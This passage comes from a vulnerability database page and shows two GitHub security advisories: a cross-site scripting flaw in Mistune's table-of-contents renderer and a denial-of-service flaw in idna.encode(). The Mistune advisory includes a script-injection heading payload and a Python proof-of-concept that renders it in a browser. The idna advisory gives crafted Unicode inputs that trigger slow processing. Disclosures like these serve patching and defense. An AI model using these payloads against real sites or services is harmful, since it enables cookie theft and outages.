href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n \u003cdiv class=\"panels\"\u003e\n \u003cdiv class=\"panel\"\u003e\n \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv class=\"panel\"\u003e\n \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\", \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity** | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
"id": "GHSA-6269-cqxg-mhhv",
"modified": "2026-06-08T23:30:27Z",
"published": "2026-05-14T16:36:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/commit/04880a0"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mistune TOC Anchor Injection XSS"
}
GHSA-65PC-FJ4G-8RJX
Vulnerability from github – Published: 2026-05-19 14:34 – Updated: 2026-07-08 17:35This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as "\u0660" * N or "\u30fb" * N + "\u6f22" utilize the valid_contexto function prior to length rejection, and for high values of N will take a long time to process.
Impact
A specially crafted argument to the idna.encode() function could consume significant resources. This may lead to a denial-of-service.
Patches
Starting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).
Workarounds
Domain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the idna.encode() function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "idna"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45409"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T14:34:32Z",
"nvd_published_at": "2026-06-05T23:16:43Z",
"severity": "MODERATE"
},
"details": "This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.",
"id": "GHSA-65pc-fj4g-8rjx",
"modified": "2026-07-08T17:35:40Z",
"published": "2026-05-19T14:34:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45409"
},
{
"type": "PACKAGE",
"url": "https://github.com/kjd/idna"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.